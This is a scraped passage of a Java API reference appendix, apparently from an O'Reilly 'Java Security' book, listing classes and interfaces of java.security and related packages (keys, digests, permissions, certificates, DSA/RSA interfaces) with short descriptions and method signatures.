
Class Definition

public classs java.security.DigestOutputStream
    extends java.io.FilterOutputStream {

    // Variables
    protected MessageDigest digest;

    // Constructors
    public DigestOutputStream(OutputStream, MessageDigest);

    // Instance Methods
    public MessageDigest getMessageDigest();
    public void on(boolean);
    public void setMessageDigest(MessageDigest);
    public String toString();
    public void write(int);
    public void write(byte[], int, int);
}

See also: DigestInputStream, MessageDigest

Interface java.security.Guard

An object of a class that implements the Guard interface may be used to protect access to a resource. In typical usage, a guard is an object of the Permission class, so that access to the guarded resource is granted if and only if the current thread has been granted the given permission. This interface is used by the GuardedObject class to guard access to another object.

Interface Definition

public abstract interface java.security.Guard {

    // Instance Methods
    public abstract void checkGuard(Object);
}

See also: GuardedObject, Permission

Class java.security.GuardedObject

A guarded object is a container for another object. The contained object is guarded using an object that implements the Guard interface; in typical usage, that would be an instance of a Permission object. The guarded object stores a serialized version of the object it contains; the contained object will be deserialized and returned by the getObject() method only if the guard object allows access.

Class Definition

public class java.security.GuardedObject
    extends java.lang.Object
    implements java.io.Serializable {

    // Constructors
    public GuardedObject(Serializable, Guard);

    // Instance Methods
    public Object getObject();
}

See also: Guard

Class java.security.Identity

An identity encapsulates public knowledge about an entity (that is, a person or a corporation--or anything that could hold a public key). Identities have names and may hold a public key, along with a certificate chain to validate the public key. An identity may belong to an identity scope, but this feature is optional and is not typically used. This class is deprecated in 1.2.

Class Definition

public abstract class java.security.Identity
    extends java.lang.Object
    implements java.security.Principal, java.io.Serializable {

    // Constructors
    protected Identity();
    public Identity(String);
    public Identity(String, IdentityScope);

    // Instance Methods
    public void addCertificate(Certificate);
    public final boolean equals(Object);
    public Certificate[] certificates();
    public String getInfo();
    public final String getName();
    public PublicKey getPublicKey();
    public final IdentityScope getScope();
    public int hashCode();
    public void removeCertificate(Certificate);
    public void setInfo(String);
    public void setPublicKey(PublicKey);
    public String toString();
    public String toString(boolean);

    // Protected Instance Methods
    protected boolean identityEquals(Identity);
}

See also: Certificate, IdentityScope, Principal, PublicKey

Class java.security.IdentityScope

An identity scope is a collection of identities; an identity may belong to a single identity scope. The notion is that scope is recursive: an identity scope may itself belong to another identity scope (or it may be unscoped). This class is deprecated in Java 1.2.

Class Definition

public abstract class java.security.IdentityScope
    extends java.security.Identity {

    // Constructors
    protected IdentityScope();
    public IdentityScope(String);
    public IdentityScope(String, IdentityScope);

    // Class Methods
    public static IdentityScope getSystemScope();
    protected static void setSystemScope(IdentityScope);

    // Instance Methods
    public abstract void addIdentity(Identity);
    public abstract Identity getIdentity(String);
    public Identity getIdentity(Principal);
    public abstract Identity getIdentity(PublicKey);
    public abstract Enumeration identities();
    public abstract void removeIdentity(Identity);
    public abstract int size();
    public String toString();
}

See also: Identity

Interface java.security.Key

A key is essentially a series of bytes that are used by a cryptographic algorithm. Depending on the type of the key, the key may be used only for particular operations and only for particular algorithms, and it may have certain mathematical properties (including a mathematical relationship to other keys). The series of bytes that comprise a key is the encoded format of the key.

Interface Definition

public abstract interface java.security.Key
    implements java.io.Serializable {

    // Instance Methods
    public abstract String getAlgorithm();
    public abstract byte[] getEncoded();
    public abstract String getFormat();
}

See also: PrivateKey, PublicKey, SecretKey

Class java.security.KeyFactory

A key factory is an engine class that is capable of translating between public or private key objects and their external format (and vice versa). Hence, key factories may be used to import or export keys, as well as to translate keys of one class (e.g., com.acme.DSAPublicKey) to another class (e.g., com.xyz.DSAPublicKeyImpl) as long as those classes share the same base class. Key factories operate in terms of key specifications; these specifications are the various external formats in which a key may be transmitted. Keys are imported via the generatePublic() and generatePrivate() methods, they are exported via the getKeySpec() method, and they are translated via the translateKey() method.

Class Definition

public class java.security.KeyFactory
    extends java.lang.Object {

    // Constructors
    protected KeyFactory(KeyFactorySpi, Provider, String);

    // Class Methods
    public static final KeyFactory getInstance(String);
    public static final KeyFactory getInstance(String, String);

    // Instance Methods
    public final PrivateKey generatePrivate(KeySpec);
    public final PublicKey generatePublic(KeySpec);
    public final String getAlgorithm();
    public final KeySpec getKeySpec(Key, Class);
    public final Provider getProvider();
    public final Key translateKey(Key);
}

See also: KeyFactorySpi, KeySpec

Class java.security.KeyFactorySpi

This is the Service Provider Interface for a key factory; if you want to implement your own key factory, you do so by extending this class and registering your implementation with an appropriate security provider. Instances of this class are expected to know how to create key objects from external key specifications and vice versa.

Class Definition

public abstract class java.security.KeyFactorySpi
    extends java.lang.Object {

    // Constructors
    public KeyFactorySpi();

    // Protected Instance Methods
    protected abstract PrivateKey engineGeneratePrivate(KeySpec);
    protected abstract PublicKey engineGeneratePublic(KeySpec);
    protected abstract KeySpec engineGetKeySpec(Key, Class);
    protected abstract Key engineTranslateKey(Key);
}

See also: KeyFactory, KeySpec

Class java.security.KeyPair

Public and private keys are mathematically related to each other and hence are generated together; this class provides an encapsulation of both the keys as a convenience to key generation.

Class Definition

public final class java.security.KeyPair
    extends java.lang.Object {

    // Constructors
    public KeyPair(PublicKey, PrivateKey);

    // Instance Methods
    public PrivateKey getPrivate();
    public PublicKey getPublic();
}

See also: KeyPairGenerator, PrivateKey, PublicKey

Class KeyPairGenerator

This is an engine class that is capable of generating a public key and its related private key. Instances of this class will generate key pairs that are appropriate for a particular algorithm (DSA, RSA, etc.). A key pair generator may be initialized to return keys of a particular strength (which is usually the number of bits in the key), or it may be initialized in an algorithmic-specific way; the former case is the one implemented by most key generators. An instance of this class may be used to generate any number of key pairs.

Class Definition

public abstract class java.security.KeyPairGenerator
    extends java.security.KeyPairGeneratorSpi {

    // Constructors
    protected KeyPairGenerator(String);

    // Class Methods
    public static KeyPairGenerator getInstance(String);
    public static KeyPairGenerator getInstance(String, String);

    // Instance Methods
    public final KeyPair genKeyPair();
    public String getAlgorithm();
    public final Provider getProvider();
    public void initialize(int);
    public void initialize(int, SecureRandom)
    public void initialize(AlgorithmParameterSpec, SecureRandom);
    public void initialize(AlgorithmParameterSpec);
}

See also: AlgorithmParameterSpec, KeyPair

Class KeyPairGeneratorSpi

This is the Service Provider Interface class for the key pair generation engine; if you want to implement your own key pair generator, you must extend this class and register your implementation with an appropriate security provider. Instances of this class must be prepared to generate key pairs of a particular strength (or length); they may optionally accept an algorithmic-specific set of initialization values.

Class Definition

public abstract class java.security.KeyPairGeneratorSpi
    extends java.lang.Object {

    // Constructors
    public KeyPairGeneratorSpi();

    // Instance Methods
    public abstract KeyPair generateKeyPair();
    public abstract void initialize(int, SecureRandom);
    public void initialize(AlgorithmParameterSpec, SecureRandom);
}

See also: AlgorithmParameterSpec, KeyPairGenerator, SecureRandom

Class java.security.KeyStore

This class is responsible for maintaining a set of keys and their related owners. In the default implementation, this class maintains the .keystore file held in the user's home directory, but you may provide an alternate implementation of this class that holds keys anywhere: in a database, on a remote filesystem, on a Java smart card, or any and all of the above. The class that is used to provide the default keystore implementation is specified by the keystore property in the $JDKHOME/lib/java.security file. The keystore may optionally require a passphrase for access to the entire keystore (via the load() method); this passphrase is often used only for sanity checking and is often not specified at all. On the other hand, private keys in the keystore should be protected (e.g., encrypted) by using a different passphrase for each private key.

Note that although the keystore associates entities with keys, it does not rely upon the Identity class itself.

Class Definition

public abstract class java.security.KeyStore
    extends java.lang.Object {

    // Constructors
    protected KeyStore(KeyStoreSpi, Provider, String);

    // Class Methods
    public static final String getDefaultType();
    public static KeyStore getInstance(String);
    public static KeyStore getInstance(String, String);

    // Instance Methods
    public final Enumeration aliases();
    public final boolean containsAlias(String);
    public final void deleteEntry(String);
    public final Certificate getCertificate(String);
    public final String getCertificateAlias(Certificate);
    public final Certificate[] getCertificateChain(String);
    public final Date getCreationDate(String);
    public final Key getKey(String, char[]);
    public final Provider getProvider();
    public final String getType();
    public final boolean isCertificateEntry(String);
    public final boolean isKeyEntry(String);
    public final void load(InputStream, char[]);
    public final void setCertificateEntry(String, Certificate);
    public final void setKeyEntry(String, Key, char[], Certificate[]);
    public final void setKeyEntry(String, byte[], Certificate[]);
    public final int size();
    public final void store(OutputStream, char[]);
}

See also: Certificate, PublicKey

Class java.security.MessageDigest

The message digest class is an engine class that can produce a one-way hash value for any arbitrary input. Message digests have two properties: they produce a unique hash for each set of input data (subject to the number of bits that are output), and the original input data is indiscernible from the hash output. The hash value is variously called a digital fingerprint or a digest. Message digests are components of digital signatures, but they are useful in their own right to verify that a set of data has not been corrupted. Once a digest object is created, data may be fed to it via the update() methods; the hash itself is returned via the digest() method.

Class Definition

public abstract class java.security.MessageDigest
    extends java.security.MessageDigestSpi {

    // Constructors
    protected MessageDigest(String);

    // Class Methods
    public static MessageDigest getInstance(String);
    public static MessageDigest getInstance(String, String);
    public static boolean isEqual(byte[], byte[]);

    // Instance Methods
    public Object clone();
    public byte[] digest();
    public byte[] digest(byte[]);
    public int digest(byte[], int, int);
    public final String getAlgorithm();
    public final int getDigestLength();
    public final Provider getProvider();
    public void reset();
    public String toString();
    public void update(byte);
    public void update(byte[]);
    public void update(byte[], int, int);
}
Class java.security.MessageDigestSpi

This is the Service Provider Interface for the message digest engine; if you want to implement your own message digest class, you do so by extending this class and registering your implementation with an appropriate security provider. Since the MessageDigest class itself extends this class, you may also extend the MessageDigest class directly. Implementations of this class are expected to accumulate a hash value over data that is fed to it as a series of arbitrary bytes.

Class Definition

public abstract class java.security.MessageDigestSpi
    extends java.lang.Object {

    // Constructors
    public MessageDigestSpi();

    // Instance Methods
    public Object clone();

    // Protected Instance Methods
    protected abstract byte[] engineDigest();
    protected int engineDigest(byte[], int, int);
    protected int engineGetDigestLength();
    protected abstract void engineReset();
    protected abstract void engineUpdate(byte);
    protected abstract void engineUpdate(byte[], int, int);
}

See also: MessageDigest

Class java.security.Permission

This class forms the base class for all types of permissions that are used by the access controller. A permission object encapsulates a particular operation (e.g., reading the file /tmp/foo). It does not, however, grant permission for that operation; rather, the permission object is constructed and passed to the access controller to see if that operation is one which the current security policy has defined as a permissible operation.

Permissions have names (e.g., the name of the file, or the name of the operation) and may optionally have actions (the semantics of which are dependent upon the type of permission). It is up to the implies() method to determine if one permission grants another; this allows you to specify wildcard-type permissions that imply specific permissions (e.g., the permission named "*" may imply the permission named "myfile").

Class Definition

public abstract class java.security.Permission
    extends java.lang.Object
    implements java.security.Guard, java.io.Serializable {

    // Constructors
    public Permission(String);

    // Instance Methods
    public void checkGuard(Object);
    public abstract boolean equals(Object);
    public abstract String getActions();
    public final String getName();
    public abstract int hashCode();
    public abstract boolean isReadOnly();
    public void setReadOnly();
    public PermissionCollection newPermissionCollection();
    public String toString();
}

See also: AccessController, BasicPermission, PermissionCollection, Policy

Class java.security.PermissionCollection

As you might infer, a permission collection is a collection of permission objects. In theory, a permission collection can be a set of arbitrary, unrelated permission objects; however, that usage is best avoided and left to the Permissions class. Hence, a permission collection should be thought of as a collection of one type of permission: a set of file permissions, a set of socket permissions, etc. A permission collection is responsible for determining if an individual permission (passed as a parameter to the implies() method) is contained in the set of permissions in the object; presumably, it will do that more efficiently than by calling the implies() method on each permission in the collection. If you implement a new permission class that has wildcard semantics for its names, then you must implement a corresponding permission collection to aggregate instances of that class (if you don't need wildcard matching, the default implementation of the Permission class will provide an appropriate collection).

Class Definition

public abstract class java.security.PermissionCollection
    extends java.lang.Object
    implements java.io.Serializable {

    // Constructors
    public PermissionCollection();

    // Instance Methods
    public abstract void add(Permission);
    public abstract Enumeration elements();
    public abstract boolean implies(Permission);
    public boolean isReadOnly();
    public void setReadOnly();
    public String toString();
}

See also: Permission, Permissions

Class java.security.Permissions

This class is an aggregate of permission collections. Hence, it is an appropriate collection object for a group of unrelated permission, which is its typical use: the Policy class uses instances of this class to represent all the permissions associated with a particular protection domain.

Class Definition

public final class java.security.Permissions
    extends java.security.PermissionCollection
    implements java.io.Serializable {

    // Constructors
    public Permissions();

    // Instance Methods
    public void add(Permission);
    public Enumeration elements();
    public boolean implies(Permission);
}

See also: Permission, PermissionCollection, Policy

Class java.security.Policy

The Policy class encapsulates all the specific permissions that the virtual machine knows about. This set of permissions is by default read from a series of URLs specified by policy.url properties in the $JDKHOME/lib/security/java.security file, although applications may specify their own policy objects by using the setPolicy() method of this class. Alternately, a different default implementation of the policy class may be specified by changing the policy.provider property in the java.security file.

Class Definition

public abstract class java.security.Policy
    extends java.lang.Object {

    // Constructors
    public Policy();

    // Class Methods
    public static Policy getPolicy();
    public static void setPolicy(Policy);

    // Instance Methods
    public abstract PermissionCollection getPermissions(CodeSource);
    public abstract void refresh();
}

See also: Permission, Permissions

Interface java.security.Principal

A principal is anything that has a name, such as an identity. The name in this case is often an X.500 distinguished name, but that is not a requirement.

Interface Definition

public abstract interface java.security.Principal {

    // Instance Methods
    public abstract boolean equals(Object);
    public abstract String getName();
    public abstract int hashCode();
    public abstract String toString();
}

See also: Identity

Interface java.security.PrivateKey

A private key is a key with certain mathematical properties that allows it to perform inverse cryptographic operations with its matching public key. Classes implement this interface only for type identification.

Interface Definition

public abstract interface java.security.PrivateKey
    implements java.security.Key {
}

See also: Key, PublicKey

Class java.security.ProtectionDomain

A protection domain encapsulates the location from which a class was loaded and the keys used to sign the class (that is, a CodeSource object) and the set of permissions that should be granted to that class. These protection domains are consulted by the access controller to determine if a particular operation should succeed; if the operation is in the set of permissions in each protection domain on the stack, then the operation will succeed. This class is typically only used within a class loader.

Class Definition

public class java.security.ProtectionDomain
    extends java.lang.Object {

    // Constructors
    public ProtectionDomain(CodeSource, PermissionCollection);

    // Instance Methods
    public final CodeSource getCodeSource();
    public final PermissionCollection getPermissions();
    public boolean implies(Permission);
    public String toString();
}

See also: AccessController, CodeSource, Permissions

Class java.security.Provider

An instance of the Provider class is responsible for mapping particular implementations to desired algorithm/engine pairs; instances of this class are consulted (indirectly) by the getInstance() methods of the engine classes to find a class that implements the desired operation. Instances of this class must be registered either with the Security class or by listing them in the $JDKHOME/lib/security/java.security file as a security.provider property.

Class Definition

public abstract class java.security.Provider
    extends java.util.Properties {

    // Constructors
    protected Provider(String, double, String);

    // Instance Methods
    public synchronized void clear();
    public Set entrySet();
    public String getInfo();
    public String getName();
    public double getVersion();
    public Set keySet();
    public synchronized void load(InputStream);
    public synchronized Object put(Object, Object);
    public synchronized void putAll(Map);
    public synchronized Object remove(Object);
    public String toString();
    public Collection values();
}

See also: Security

Interface java.security.PublicKey

A public key is a key with certain mathematical properties that allows it to perform inverse cryptographic operations with its matching private key. Classes implement this interface only for type identification.

Interface Definition

public abstract interface java.security.PublicKey
    implements java.security.Key {
}

See also: Key, PrivateKey

Class java.security.SecureClassLoader

A secure class loader is a class loader that is able to associate code sources (and hence protection domains) with the classes that it loads (classes loaded by a traditional class loader have a default, null protection domain). All new class loaders are expected to extend this class.

Class Definition

public class java.security.SecureClassLoader
    extends java.lang.ClassLoader {

    // Constructors
    protected SecureClassLoader();
    protected SecureClassLoader(ClassLoader);

    // Protected Instance Methods
    protected final Class defineClass(String, byte[], int, int,
                            CodeSource);
    protected PermissionCollection getPermissions(CodeSource);
}

See also: ClassLoader, CodeSource, ProtectionDomain

Class java.security.SecureRandom

This class generates random numbers. Unlike the standard random-number generator, numbers generated by this class are cryptographically secure--that is, they are less subject to pattern guessing and other attacks that can be made upon a traditional random-number generator.

Class Definition

public class java.security.SecureRandom
    extends java.util.Random {

    // Constructors
    public SecureRandom();
    public SecureRandom(byte[]);

    // Class Methods
    public static byte[] getSeed(int);

    // Instance Methods
    public synchronized void nextBytes(byte[]);
    public void setSeed(long);
    public synchronized void setSeed(byte[]);

    // Protected Instance Methods
    protected final int next(int);
}
Class java.security.Security

This class manages the list of providers that have been installed into the virtual machine; this list of providers is consulted to find an appropriate class to provide the implementation of a particular operation when the getInstance() method of an engine class is called. The list of providers initially comes from the $JDKHOME/lib/security/java.security file, and applications may use methods of this class to add and remove providers from that list.

Class Definition

public final class java.security.Security
    extends java.lang.Object {

    // Class Methods
    public static int addProvider(Provider);
    public static String getAlgorithmProperty(String, String);
    public static String getProperty(String);
    public static Provider getProvider(String);
    public static Provider[] getProviders();
    public static int insertProviderAt(Provider, int);
    public static void removeProvider(String);
    public static void setProperty(String, String);
}

See also: Provider

Class java.security.SecurityPermission

This class represents permissions to interact with the methods of the java.security package. This permission is a basic permission; it does not support actions. Security permissions are checked by the Identity, Signer, and Provider classes.

Class Definition

public final class java.security.SecurityPermission
    extends java.security.BasicPermission {

    // Constructors
    public SecurityPermission(String);
    public SecurityPermission(String, String);
}

See also: BasicPermission

Class java.security.Signature

This engine class provides the ability to create or verify digital signatures by employing different algorithms that have been registered with the Security class. As with all engine classes, instances of this class are obtained via the getInstance() method. The signature object must be initialized with the appropriate private key (to sign) or public key (to verify), then data must be fed to the object via the update() methods, and then the signature can be obtained (via the sign() method) or verified (via the verify() method). Signature objects may support algorithm-specific parameters, though this is not a common implementation.

Class Definition

public abstract class java.security.Signature
    extends java.security.SignatureSpi {

    // Constants
    protected static final int SIGN;
    protected static final int UNINITIALIZED;
    protected static final int VERIFY;

    // Variables
    protected int state;

    // Constructors
    protected Signature(String);

    // Class Methods
    public static Signature getInstance(String);
    public static Signature getInstance(String, String);

    // Instance Methods
    public Object clone();
    public final String getAlgorithm();
    public final Object getParameter(String);
    public final Provider getProvider();
    public final void initSign(PrivateKey);
    public final void initSign(PrivateKey, SecureRandom);
    public final void initVerify(PublicKey);
    public final void setParameter(String, Object);
    public final void setParameter(AlgorithmParameterSpec);
    public final byte[] sign();
    public final int sign(byte[], int, int);
    public String toString();
    public final void update(byte);
    public final void update(byte[]);
    public final void update(byte[], int, int);
    public final boolean verify(byte[]);
}

See also: Provider

Class java.security.SignatureSpi

This is the Security Provider Interface for the signature engine. If you want to implement your own signature engine, you must extend this class and register your implementation with an appropriate security provider. Since the Signature class already extends this class, your implementation may extend the Signature class directly. Implementations of this class must be prepared both to sign and to verify data that is passed to the engineUpdate() method. Initialization of the engine may optionally support a set of algorithm-specific parameters.

Class Definition

public abstract class java.security.SignatureSpi
    extends java.lang.Object {

    // Variables
    protected SecureRandom appRandom;

    // Constructors
    public SignatureSpi();

    // Instance Methods
    public Object clone();

    // Protected Instance Methods
    protected abstract Object engineGetParameter(String);
    protected abstract void engineInitSign(PrivateKey);
    protected void engineInitSign(PrivateKey, SecureRandom);
    protected abstract void engineInitVerify(PublicKey);
    protected abstract void engineSetParameter(String, Object);
    protected void engineSetParameter(AlgorithmParameterSpec);
    protected abstract byte[] engineSign();
    protected final int engineSign(byte[], int, int);
    protected abstract void engineUpdate(byte);
    protected abstract void engineUpdate(byte[], int, int);
    protected abstract boolean engineVerify(byte[]);
}

See also: Provider, Signature

Class java.security.SignedObject

A signed object is a container class for another (target) object; the signed object contains a serialized version of the target along with a digital signature of the data contained in the target object. You must provide a serializable object and a private key to create a signed object, after which you can remove the embedded object and verify the signature of the signed object by providing the appropriate public key.

Class Definition

public final class java.security.SignedObject
    extends java.lang.Object
    implements java.io.Serializable {

    // Constructors
    public SignedObject(Serializable, PrivateKey, Signature);

    // Instance Methods
    public String getAlgorithm();
    public Object getObject();
    public byte[] getSignature();
    public boolean verify(PublicKey, Signature);
}

See also: Signature

Class java.security.Signer

A signer abstracts the notion of a principal (that is, an individual or a corporation) that has a private key and a corresponding public key. Signers may optionally belong to an identity scope. This class is deprecated in1.2.

Class Definition

public abstract class java.security.Signer
    extends java.security.Identity {

    // Constructors
    protected Signer();
    public Signer(String);
    public Signer(String, IdentityScope);

    // Instance Methods
    public PrivateKey getPrivateKey();
    public final void setKeyPair(KeyPair);
    public String toString();
}

See also: Identity, Principal

`
Class java.security.UnresolvedPermission

An unresolved permission is one for which the implementing class has not been loaded. If you define a custom permission, the Policy class will represent that custom permission as an unresolved permission until it is time for the Policy class to actually load the class; if the class cannot be found, then it will remain an unresolved permission. By default, the implies() method of this class always returns false.

Class Definition

public final class UnresolvedPermission extends Permission
    implements java.io.Serializable {

    // Constructors
    public UnresolvedPermission(String, String, String, Certificate[]);

    // Instance methods
    public boolean equals(Object);
    public int hashCode();
    public boolean implies(Permission);
}

See also: Permission

Previous | Home | Next
C.3. Security References | Book Index | D.2. Package java.security.cert
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Package java.security.cert (Java Security)

 Java Security Search this book

D.2. Package java.security.cert

Class java.security.cert.Certificate

This class represents any type of cryptographic certificate. A certificate contains a public key (see getPublicKey()) and other associated information. The certificate contains an internal signature that protects its integrity. You can verify the integrity of the certificate by calling one of the verify() methods with the public key of the certificate's issuer. (Note: don't confuse this class with the java.security.Certificate interface, which is deprecated.)

Class Definition

public abstract class java.security.cert.Certificate
    extends java.lang.Object {

    // Constructors
    public Certificate();

    // Instance Methods
    public boolean equals(Object);
    public abstract byte[] getEncoded();
    public abstract PublicKey getPublicKey();
    public int hashCode();
    public abstract String toString();
    public abstract void verify(PublicKey);
    public abstract void verify(PublicKey, String);
}

See also: PublicKey, X509Certificate

Class java.security.cert.CertificateFactory

A certificate factory is used to import certificates or certificate revocation lists from a file or other input stream.

Class Definition

public java.security.cert.CertificateFactory
    extends java.lang.Object{

    //Constructors
    protected CertificateFactory(CertificateFactorySpi, Provider,
                                String);
    //Class Methods
    public static final CertificateFactory getInstance(String);
    public static final CertificateFactory getInstance(String,
                                 String);
    //Instance Methods
    public final CRL generateCRL(InputStream);
    public final Collection generateCRLs(InputStream);
    public final Certificate generateCertificate(InputStream);
    public final Collection generateCertificates(InputStream);
    public final Provider getProvider();
    public final String getType();
    }

See also: X509Certificate, X509CRLEntry

Class java.security.cert.X509Certificate

This class represents certificates as defined in the X.509 standard. Such certificates associate a public key with a subject, which is usually a person or organization. You can find out the certificate's subject by calling getSubjectDN(), while you can retrieve the subject's public key using getPublicKey(). The certificate's issuer is the person or organization that generated and signed the certificate (see getIssuerDN()). If you have a certificate file in the format described by RFC 1421, you can create an X509Certificate from that data by using one of the getInstance() methods.

Class Definition

public abstract class java.security.cert.X509Certificate
    extends java.security.cert.Certificate
    implements java.security.cert.X509Extension {

    // Constructors
    public X509Certificate();

    // Instance Methods
    public abstract void checkValidity();
    public abstract void checkValidity(Date);
    public abstract int getBasicConstraints();
    public abstract Set getCriticalExtensionOIDs();
    public abstract byte[] getExtensionValue(String);
    public abstract Principal getIssuerDN();
    public abstract boolean[] getIssuerUniqueID();
    public abstract boolean[] getKeyUsage();
    public abstract Set getNonCriticalExtensionOIDs();
    public abstract Date getNotAfter();
    public abstract Date getNotBefore();
    public abstract BigInteger getSerialNumber();
    public abstract String getSigAlgName();
    public abstract String getSigAlgOID();
    public abstract byte[] getSigAlgParams();
    public abstract byte[] getSignature();
    public abstract Principal getSubjectDN();
    public abstract boolean[] getSubjectUniqueID();
    public abstract byte[] getTBSCertificate();
    public abstract int getVersion();
}

See also: Principal, PublicKey, X509Extension

Class java.security.cert.X509CRL

A Certificate Revocation List (CRL) is a list of certificates whose keys are no longer valid. This class represents CRLs as defined in the X.509 standard. If you have a CRL file that you would like to examine, you can construct an X509CRL object from the file using one of the getInstance() methods. A CRL, just like a certificate, has an internal signature that protects its integrity. To verify the integrity of the CRL itself, call one of the verify() methods with the issuer's public key. To find out if a particular certificate is revoked, call the isRevoked() method with the certificate's serial number.

Class Definition

public abstract class java.security.cert.X509CRL
    extends java.lang.Object
    implements java.security.cert.X509Extension {

    // Constructors
    public X509CRL();

    // Instance Methods
    public boolean equals(Object);
    public abstract Set getCriticalExtensionOIDs();
    public abstract byte[] getEncoded();
    public abstract byte[] getExtensionValue(String);
    public abstract Principal getIssuerDN();
    public abstract Date getNextUpdate();
    public abstract Set getNonCriticalExtensionOIDs();
    public abstract X509CRLEntry getRevokedCertificate(BigInteger);
    public abstract Set getRevokedCertificates();
    public abstract String getSigAlgName();
    public abstract String getSigAlgOID();
    public abstract byte[] getSigAlgParams();
    public abstract byte[] getSignature();
    public abstract byte[] getTBSCertList();
    public abstract Date getThisUpdate();
    public abstract int getVersion();
    public abstract boolean hasUnsupportedCriticalExtension();
    public int hashCode();
    public abstract boolean isRevoked(BigInteger);
    public abstract String toString();
    public abstract void verify(PublicKey);
    public abstract void verify(PublicKey, String);
}

See also: Certificate, PublicKey, X509CRLEntry, X509Extension

Class java.security.cert.X509CRLEntry

A revoked certificate represents a certificate whose contained key is no longer safe to use. Instances of this class are returned by X509CRL's getRevokedCertificate() method. You can examine the certificate's revocation date and X.509 extensions.

Class Definition

public abstract class java.security.cert.X509CRLEntry
    extends java.lang.Object
    implements java.security.cert.X509Extension {

    // Constructors
    public RevokedCertificate();

    // Instance Methods
    public abstract Set getCriticalExtensionOIDs();
    public abstract byte[] getExtensionValue(String);
    public abstract Set getNonCriticalExtensionOIDs();
    public abstract Date getRevocationDate();
    public abstract BigInteger getSerialNumber();
    public abstract boolean hasExtensions();
    public abstract boolean hasUnsupportedCriticalExtension();
    public abstract String toString();
}

See also: Certificate, X509CRL, X509Extension

Interface java.security.cert.X509Extension

The X509Extension interface represents the certificate extensions defined by the X.509v3 standard. Extensions are additional bits of information contained in a certificate. Each extension is designated as critical or non-critical. An application that handles a certificate should either correctly interpret the critical extensions or produce some kind of error if they cannot be recognized.

Class Definition

public abstract interface java.security.cert.X509Extension {

    // Instance Methods
    public abstract Set getCriticalExtensionOIDs();
    public abstract boolean hasUnsupportedCriticalExtension();
    public abstract byte[] getExtensionValue(String);
    public abstract Set getNonCriticalExtensionOIDs();
}

See also: X509CRLEntry, X509Certificate, X509CRL

Previous | Home | Next
D.1. Package java.security | Book Index | D.3. Package java.security.interfaces
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Package java.security.interfaces (Java Security)

 Book Home Java Security Search this book

D.3. Package java.security.interfaces

Interface java.security.interfaces.DSAKey

This interface represents public and private keys that are suitable for use in DSA signature algorithms. This interface allows you to retrieve DSA-specific information from a suitable DSA key.

Interface Definition

public interface java.security.interfaces.DSAKey {

    // Instance Methods
    public DSAParams getParams();
}

See also: PrivateKey, PublicKey

Interface java.security.interfaces.DSAKeyPairGenerator

This interface represents key generators that can be used to generate pairs of DSA keys. Key pair generators that implement this interface can be initialized with information specific to DSA key generation.

Interface Definition

public interface java.security.interfaces.DSAKeyPairGenerator {

    // Instance Methods
    public void initialize(DSAParams, SecureRandom);
    public void initialize(int, boolean, SecureRandom);
}

See also: KeyPairGenerator

Interface java.security.interfaces.DSAParams

Classes that implement this interface allow you to obtain the three variables that are common to both DSA public and private keys.

Interface Definition

public interface java.security.interfaces.DSAParams {

    // Instance Methods
    public BigInteger getP();
    public BigInteger getQ();
    public BigInteger getG();
}

See also: DSAPrivateKey, DSAPublicKey

Interface java.security.interfaces.DSAPrivateKey

Classes that implement this interface allow you to retrieve the private key parameter used to calculate a DSA private key.

Interface Definition

public interface java.security.interfaces.DSAPrivateKey {

    // Instance Methods
    public BigInteger getX();
}

See also: DSAParams, DSAPublicKey

Interface java.security.interfaces.DSAPublicKey

Classes that implement this interface allow you to retrieve the public key parameter used to calculate a DSA public key.

Interface Definition

public interface java.security.interfaces.DSAPublicKey {

    // Instance Methods
    public BigInteger getY();
}

See also: DSAParams, DSAPrivateKey

Interface java.security.interfaces.RSAPrivateKey

RSAPrivateKey represents a private key, suitable for use with RSA cryptographic operations. Use of this class requires a third-party security provider.

Interface Definition

public abstract interface java.security.interfaces.RSAPrivateKey
    implements java.security.PrivateKey {

    // Instance Methods
    public abstract BigInteger getModulus();
    public abstract BigInteger getPrivateExponent();
}

See also: PrivateKey, RSAPublicKey

Interface java.security.interfaces.RSAPublicKey

This class represents an RSA public key, suitable for use with an RSA cryptographic algorithm. You must have a third-party security provider to use this class.

Interface Definition

public abstract interface java.security.interfaces.RSAPublicKey
    implements java.security.PublicKey {

    // Instance Methods
    public abstract BigInteger getModulus();
    public abstract BigInteger getPublicExponent();
}

See also: PublicKey, RSAPrivateKey

Previous | Home | Next
D.2. Package java.security.cert | Book Index | D.4. Package java.security.spec
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.

Interfac


Package java.security.spec (Java Security)

 Java Security Search this book

D.4. Package java.security.spec

Interface java.security.spec.AlgorithmParameterSpec

Algorithm parameter specifications are used to import and export keys via a key factory. This interface is used strictly for type identification; the specifics of the parameters are left to the implementing class.

Interface Definition

public interface java.security.spec.AlgorithmParameterSpec {
}

See also: DSAParameterSpec, KeyFactory

a name="INDE
Class java.security.spec.DSAParameterSpec

This class provides the basis for DSA key generation via parameters; it encapsulates the three parameters that are common to DSA algorithms.

Class Definition

public class java.security.spec.DSAParameterSpec
    extends java.lang.Object
    implements java.security.spec.AlgorithmParameterSpec,
             java.security.interfaces.DSAParams {

    // Constructors
    public DSAParameterSpec(BigInteger, BigInteger, BigInteger);

    // Instance Methods
    public BigInteger getG();
    public BigInteger getP();
    public BigInteger getQ();
}

See also: AlgorithmParameterSpec, DSAParams, DSAPrivateKeySpec, DSAPublicKeySpec

Class java.security.spec.DSAPrivateKeySpec

This class provides the ability to calculate a DSA private key based upon the four parameters that comprise the key.

Class Definition

public class java.security.spec.DSAPrivateKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    // Constructors
    public DSAPrivateKeySpec(BigInteger, BigInteger,
                                BigInteger, BigInteger);

    // Instance Methods
    public BigInteger getG();
    public BigInteger getP();
    public BigInteger getQ();
    public BigInteger getX();
}

See also: DSAPublicKeySpec, KeyFactory

Class java.security.spec.DSAPublicKeySpec

This class provides the ability to calculate a DSA public key based upon the four parameters that comprise the key.

Class Definition

public class java.security.spec.DSAPublicKeySpec
    extends java.lang.Object
    implements java.security.spec.KeySpec {

    // Constructors
    public DSAPublicKeySpec(BigInteger, BigInteger,
                                BigInteger, BigInteger);

    // Instance Methods
    public BigInteger getG();
    public BigInteger getP();
    public BigInteger getQ();
    public BigInteger getY();
}

See also: DSAPrivateKeySpec, KeyFactory

Class java.security.spec.EncodedKeySpec

